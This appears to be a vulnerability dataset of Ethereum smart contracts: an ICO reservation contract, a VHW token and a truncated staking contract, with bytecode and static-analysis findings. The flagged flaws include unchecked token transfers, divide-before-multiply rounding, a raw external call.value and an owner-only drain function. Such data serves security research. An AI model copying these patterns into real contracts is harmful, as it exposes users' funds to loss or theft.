/* 8888888 .d8888b. .d88888b. .d8888b. 888 888 888 888 d88P Y88b d88P" "Y88b d88P Y88b 888 888 888 888 888 888 888 888 Y88b. 888 888 888 888 888 888 888 "Y888b. 888888 8888b. 888d888 888888 .d8888b 88888b. 888 888 888 888 "Y88b. 888 "88b 888P" 888 d88P" 888 "88b 888 888 888 888 888 "888 888 .d888888 888 888 888 888 888 888 Y88b d88P Y88b. .d88P Y88b d88P Y88b. 888 888 888 Y88b. d8b Y88b. 888 888 8888888 "Y8888P" "Y88888P" "Y8888P" "Y888 "Y888888 888 "Y888 Y8P "Y8888P 888 888 Rocket startup for your ICO The innovative platform to create your initial coin offering (ICO) simply, safely and professionally. All the services your project needs: KYC, AI Audit, Smart contract wizard, Legal template, Master Nodes management, on a single SaaS platform! */ pragma solidity ^0.4.21; // File: contracts\zeppelin-solidity\contracts\ownership\Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts\zeppelin-solidity\contracts\lifecycle\Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } // File: contracts\zeppelin-solidity\contracts\math\SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: contracts\zeppelin-solidity\contracts\token\ERC20\ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts\zeppelin-solidity\contracts\token\ERC20\ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts\ICOStartReservation.sol contract ICOStartSaleInterface { ERC20 public token; } contract ICOStartReservation is Pausable { using SafeMath for uint256; ICOStartSaleInterface public sale; uint256 public cap; uint8 public feePerc; address public manager; mapping(address => uint256) public deposits; uint256 public weiCollected; uint256 public tokensReceived; bool public canceled; bool public paid; event Deposited(address indexed depositor, uint256 amount); event Withdrawn(address indexed beneficiary, uint256 amount); event Paid(uint256 netAmount, uint256 fee); event Canceled(); function ICOStartReservation(ICOStartSaleInterface _sale, uint256 _cap, uint8 _feePerc, address _manager) public { require(_sale != (address(0))); require(_cap != 0); require(_feePerc >= 0); if (_feePerc != 0) { require(_manager != 0x0); } sale = _sale; cap = _cap; feePerc = _feePerc; manager = _manager; } /** * @dev Modifier to make a function callable only when the contract is accepting * deposits. */ modifier whenOpen() { require(isOpen()); _; } /** * @dev Modifier to make a function callable only if the reservation was not canceled. */ modifier whenNotCanceled() { require(!canceled); _; } /** * @dev Modifier to make a function callable only if the reservation was canceled. */ modifier whenCanceled() { require(canceled); _; } /** * @dev Modifier to make a function callable only if the reservation was not yet paid. */ modifier whenNotPaid() { require(!paid); _; } /** * @dev Modifier to make a function callable only if the reservation was paid. */ modifier whenPaid() { require(paid); _; } /** * @dev Checks whether the cap has been reached. * @return Whether the cap was reached */ function capReached() public view returns (bool) { return weiCollected >= cap; } /** * @dev A reference to the sale&#39;s token contract. * @return The token contract. */ function getToken() public view returns (ERC20) { return sale.token(); } /** * @dev Modifier to make a function callable only when the contract is accepting * deposits. */ function isOpen() public view returns (bool) { return !paused && !capReached() && !canceled && !paid; } /** * @dev Shortcut for deposit() and claimTokens() functions. * Send 0 to claim, any other value to deposit. */ function () external payable { if (msg.value == 0) { claimTokens(msg.sender); } else { deposit(msg.sender); } } /** * @dev Deposit ethers in the contract keeping track of the sender. * @param _depositor Address performing the purchase */ function deposit(address _depositor) public whenOpen payable { require(_depositor != address(0)); require(weiCollected.add(msg.value) <= cap); deposits[_depositor] = deposits[_depositor].add(msg.value); weiCollected = weiCollected.add(msg.value); emit Deposited(_depositor, msg.value); } /** * @dev Allows the owner to cancel the reservation thus enabling withdraws. * Contract must first be paused so we are sure we are not accepting deposits. */ function cancel() public onlyOwner whenPaused whenNotPaid { canceled = true; } /** * @dev Allows the owner to cancel the reservation thus enabling withdraws. * Contract must first be paused so we are sure we are not accepting deposits. */ function pay() public onlyOwner whenNotCanceled { require(weiCollected > 0); uint256 fee; uint256 netAmount; (fee, netAmount) = _getFeeAndNetAmount(weiCollected); require(address(sale).call.value(netAmount)(this)); tokensReceived = getToken().balanceOf(this); if (fee != 0) { manager.transfer(fee); } paid = true; emit Paid(netAmount, fee); } /** * @dev Allows a depositor to withdraw his contribution if the reservation was canceled. */ function withdraw() public whenCanceled { uint256 depositAmount = deposits[msg.sender]; require(depositAmount != 0); deposits[msg.sender] = 0; weiCollected = weiCollected.sub(depositAmount); msg.sender.transfer(depositAmount); emit Withdrawn(msg.sender, depositAmount); } /** * @dev After the reservation is paid, transfers tokens from the contract to the * specified address (which must have deposited ethers earlier). * @param _beneficiary Address that will receive the tokens. */ function claimTokens(address _beneficiary) public whenPaid { require(_beneficiary != address(0)); uint256 depositAmount = deposits[_beneficiary]; if (depositAmount != 0) { uint256 tokens = tokensReceived.mul(depositAmount).div(weiCollected); assert(tokens != 0); deposits[_beneficiary] = 0; getToken().transfer(_beneficiary, tokens); } } /** * @dev Emergency brake. Send all ethers and tokens to the owner. */ function destroy() onlyOwner public { uint256 myTokens = getToken().balanceOf(this); if (myTokens != 0) { getToken().transfer(owner, myTokens); } selfdestruct(owner); } /* * Internal functions */ /** * @dev Returns the current period, or null. */ function _getFeeAndNetAmount(uint256 _grossAmount) internal view returns (uint256 _fee, uint256 _netAmount) { _fee = _grossAmount.div(100).mul(feePerc); _netAmount = _grossAmount.sub(_fee); } }
0x
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
7,369
0xe8b5f7433df23b2b993c69d49d1f473051af08f8
pragma solidity ^0.4.23; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract VHW is StandardToken { string public name = "VHW"; string public symbol = "VHW"; uint public decimals = 6; uint public INITIAL_SUPPLY = 352500000000000 * (10 ** decimals); constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df5780632ff2e9dc14610264578063313ce5671461028f57806366188463146102ba57806370a082311461031f57806395d89b4114610376578063a9059cbb14610406578063d73dd6231461046b578063dd62ed3e146104d0575b600080fd5b3480156100cb57600080fd5b506100d4610547565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105e5565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c96106d7565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610a9b565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610aa1565b6040518082815260200191505060405180910390f35b3480156102c657600080fd5b50610305600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aa7565b604051808215151515815260200191505060405180910390f35b34801561032b57600080fd5b50610360600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d38565b6040518082815260200191505060405180910390f35b34801561038257600080fd5b5061038b610d80565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cb5780820151818401526020810190506103b0565b50505050905090810190601f1680156103f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041257600080fd5b50610451600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e1e565b604051808215151515815260200191505060405180910390f35b34801561047757600080fd5b506104b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061103d565b604051808215151515815260200191505060405180910390f35b3480156104dc57600080fd5b50610531600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611239565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105dd5780601f106105b2576101008083540402835291602001916105dd565b820191906000526020600020905b8154815290600101906020018083116105c057829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561071e57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561076b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107f657600080fd5b610847826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112c090919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108da826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109ab82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112c090919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60065481565b60055481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610bb8576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c4c565b610bcb83826112c090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e165780601f10610deb57610100808354040283529160200191610e16565b820191906000526020600020905b815481529060010190602001808311610df957829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e5b57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ea857600080fd5b610ef9826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112c090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f8c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006110ce82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156112ce57fe5b818303905092915050565b600081830190508281101515156112ec57fe5b809050929150505600a165627a7a723058207f1de855295ecae0783d32039740e09663abbd4d06aa06e912ff84c69f444dba0029
{"success": true, "error": null, "results": {}}
7,370
0x772c5AA73719B06e8838771b79bF34C3F3092223
// SPDX-License-Identifier: MIT pragma solidity ^0.5.13; /* Main functionality: 2% fee on entry and 2% fee on exit deducted from input/output amount and distributed to all current share holders proportional to their position in the pool Extended stake bonuses [optional]: 30 days = 50% 60 days = 125% 90 days = 238% -15% penalty when unstaking extended stake early (distributed to share holders similar to entry/exit fee) Feature #1 - The airdrop: Admin (or anyone else) can distribute 100% of their deposit among all active share holders Feature #2 - The drip: Earn "emissionRate" set by admin per second per 1 token deposited into the pool default emissionRate is 0.00000001 tokens per second per 1 token user has deposited */ contract Staking { constructor(address _stakingToken, uint256 _emissionRate) public { erc20 = TOKEN(address(_stakingToken)); // set the staking token admin = msg.sender; // set the admin emissionRate = _emissionRate; // set the default emission rate (admin can change this later) // set the extended staking options stakeOptions[0] = StakeOption(30 days, 50); // 50% after 30 days stakeOptions[1] = StakeOption(60 days, 125); // 125% after 60 days stakeOptions[2] = StakeOption(90 days, 238); // 238% after 90 days } using SafeMath for uint256; // Declare the staking token TOKEN erc20; // Admin is payable so they can withdraw any ETH that may be sent here accidentally address payable admin; // Total balance of all users in the pool // This has the entry fee already applied so should always be < erc20.balanceOf(address(this)) uint256 public totalBalance; // How many staking tokens to reward per second per 1 deposited token uint256 public emissionRate; // All providers aka. the users / stakers in the system mapping(address => Provider) public provider; // All stakes mapped to their owners mapping(address => Stake[]) public stakes; // Extended stake options mapping(uint8 => StakeOption) public stakeOptions; // For admin only functions modifier isAdmin() { require(admin == msg.sender, "Admin only function"); _; } // Events event Deposit(address _user, uint256 _amount, uint256 _timestamp); event Withdraw(address _user, uint256 _amount, uint256 _timestamp); event ExtendedStake(address _user, uint256 _amount, uint8 _stakeOption, uint256 _timestamp); event StakeEndWithBonus(address _user, uint256 _bonus, uint256 _timestamp); event StakeEndWithPenalty(address _user, uint256 _amount, uint256 _timestamp); event ClaimDrip(address _user, uint256 _amount, uint256 _timestamp); event Airdrop(address _sender, uint256 _amount, uint256 _timestamp); event EmissionRateChanged(uint256 _newEmissionRate); // Extended stake struct Stake { uint256 amount; // amount of tokens staked uint32 unlockDate; // unlocks at this timestamp uint8 stakeBonus; // the +% bonus this stake gives } // Stake option, we have 3 of them struct StakeOption { uint32 duration; uint8 bonusPercent; } // User data struct Provider { uint256 commitAmount; // user's extended stake aka. the locked amount uint256 balance; // user's available balance (to extended stake or to withdraw) uint256 dripBalance; // total drips collected before last deposit uint32 lastUpdateAt; // timestamp for last update when dripBalance was calculated } // Function to deposit tokens into the pool function depositIntoPool(uint256 _depositAmount) public { // Check and transfer tokens here require( erc20.transferFrom(msg.sender, address(this), _depositAmount) == true, "transferFrom did not succeed. Are we approved?" ); // Declare the user Provider storage user = provider[msg.sender]; if (user.balance > 0) { // User has previously staked so calculate the new dripBalance user.dripBalance = dripBalance(msg.sender); } // deduct the 2% entry fee uint256 balanceToAdd = SafeMath.sub(_depositAmount, SafeMath.div(_depositAmount, 50)); user.balance = SafeMath.add(user.balance, balanceToAdd); user.lastUpdateAt = uint32(now); totalBalance = SafeMath.add(totalBalance, balanceToAdd); emit Deposit(msg.sender, _depositAmount, now); } // Function to withdraw all available balance (including dripped rewards) from the pool // Does not include the extended stake (locked) balances, if any exist function withdrawFromPool(uint256 _amount) public { Provider storage user = provider[msg.sender]; uint256 availableBalance = SafeMath.sub(user.balance, user.commitAmount); require(_amount <= availableBalance, "Amount withdrawn exceeds available balance"); // Claim all dripped rewards first claimDrip(); // deduct the 2% exit fee uint256 amountToWithdraw = SafeMath.div(SafeMath.mul(_amount, 49), 50); uint256 contractBalance = erc20.balanceOf(address(this)); // tokens in the contract * withdraw amount with fee / total balance with fee(s) uint256 amountToSend = SafeMath.div(SafeMath.mul(contractBalance, amountToWithdraw), totalBalance); // Subtract the amount user.balance = SafeMath.sub(user.balance, _amount); totalBalance = SafeMath.sub(totalBalance, _amount); // Transfer erc20.transfer(msg.sender, amountToSend); emit Withdraw(msg.sender, _amount, now); } // Function to enter an extended stake for a fixed period of time function extendedStake(uint256 _amount, uint8 _stakeOption) public { // We only have 0, 1, 2 options require(_stakeOption <= 2, "Invalid staking option"); Provider storage user = provider[msg.sender]; uint256 availableBalance = SafeMath.sub(user.balance, user.commitAmount); require(_amount <= availableBalance, "Stake amount exceeds available balance"); // Set unlock date and bonus from chosen option uint32 unlockDate = uint32(now) + stakeOptions[_stakeOption].duration; uint8 stakeBonus = stakeOptions[_stakeOption].bonusPercent; // Add as commitAmount user.commitAmount = SafeMath.add(user.commitAmount, _amount); // Push the new stake stakes[msg.sender].push(Stake(_amount, unlockDate, stakeBonus)); emit ExtendedStake(msg.sender, _amount, _stakeOption, now); } // Function to exit an extended stake // Distributes reward if unlockDate has passed or deducts a -15% penalty if it's a premature exit function claimStake(uint256 _stakeId) public { // Make sure the _stakeId provided is within range uint256 playerStakeCount = stakes[msg.sender].length; require(_stakeId < playerStakeCount, "Stake does not exist"); // Declare a user's stake & require it to have an amount Stake memory stake = stakes[msg.sender][_stakeId]; require(stake.amount > 0, "Invalid stake amount"); // Maintains the stake array length if (playerStakeCount > 1) { stakes[msg.sender][_stakeId] = stakes[msg.sender][playerStakeCount - 1]; } delete stakes[msg.sender][playerStakeCount - 1]; stakes[msg.sender].length--; Provider storage user = provider[msg.sender]; if (stake.unlockDate <= now) { // Stake duration has passed here. Distribute the stakeBonus reward! uint256 balanceToAdd = SafeMath.div(SafeMath.mul(stake.amount, stake.stakeBonus), 100); totalBalance = SafeMath.add(totalBalance, balanceToAdd); user.commitAmount = SafeMath.sub(user.commitAmount, stake.amount); user.balance = SafeMath.add(user.balance, balanceToAdd); emit StakeEndWithBonus(msg.sender, balanceToAdd, now); } else { // Stake duration has not passed. Apply the 15% penalty uint256 weightToRemove = SafeMath.div(SafeMath.mul(3, stake.amount), 20); user.balance = SafeMath.sub(user.balance, weightToRemove); totalBalance = SafeMath.sub(totalBalance, weightToRemove); user.commitAmount = SafeMath.sub(user.commitAmount, stake.amount); emit StakeEndWithPenalty(msg.sender, weightToRemove, now); } } // Function to claim dripped rewards function claimDrip() public { Provider storage user = provider[msg.sender]; uint256 amountToSend = dripBalance(msg.sender); user.dripBalance = 0; user.lastUpdateAt = uint32(now); erc20.transfer(msg.sender, amountToSend); emit ClaimDrip(msg.sender, amountToSend, now); } // Airdrop to pool // Anyone can airdrop tokens into the pool. Since withdrawFromPool() uses contractBalance = erc20.balanceOf(address(this)) // in its calculations, everything extra sent to our contract will get distributed proportionally when user withdraws from pool function airdrop(uint256 _amount) external { require( erc20.transferFrom(msg.sender, address(this), _amount) == true, "transferFrom did not succeed. Are we approved?" ); emit Airdrop(msg.sender, _amount, now); } // Admin can edit the emissionRate function changeEmissionRate(uint256 _emissionRate) external isAdmin { if (emissionRate != _emissionRate) { emissionRate = _emissionRate; emit EmissionRateChanged(_emissionRate); } } // Admin can withdraw any ETH that might be accidentally sent here function withdrawETH() external isAdmin { admin.transfer(address(this).balance); } // transfer admin to another address function transferAdmin(address _newAdmin) external isAdmin { admin = address(uint160(_newAdmin)); } // Admin can withdraw any ERC20 token that might be accidentally sent here // Excluding of course the staking token itself (funds are safu) function withdrawERC20(TOKEN token) public isAdmin { require(address(token) != address(0), "Invalid address"); require(address(token) != address(erc20), "Cannot withdraw the staking token"); uint256 balance = token.balanceOf(address(this)); token.transfer(admin, balance); } // Calculates the undebited drip rewards // Formula: Seconds staked X emission rate X user's total deposit / 10^18 function _unDebitedDrips(Provider memory user) internal view returns (uint256) { // (now - user.lastUpdateAt) * emissionRate * user.balance / 1e18 return SafeMath.div( SafeMath.mul( SafeMath.mul(SafeMath.sub(now, uint256(user.lastUpdateAt)), emissionRate), user.balance ), 1e18 ); } // Calculte how many dripped tokens an address currently has function 